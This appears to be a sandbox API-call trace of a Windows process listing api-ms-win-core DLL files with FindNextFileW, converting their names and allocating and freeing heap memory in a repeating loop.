0x252c288 [0165.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x252c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.679] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x252c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.679] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x252c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.679] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x252c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.679] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x252c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.680] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x252c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.680] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x252c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.680] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0165.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x252c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.681] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x252c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.681] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x252c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.681] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x252c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.681] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x252c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.682] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x252c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.682] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 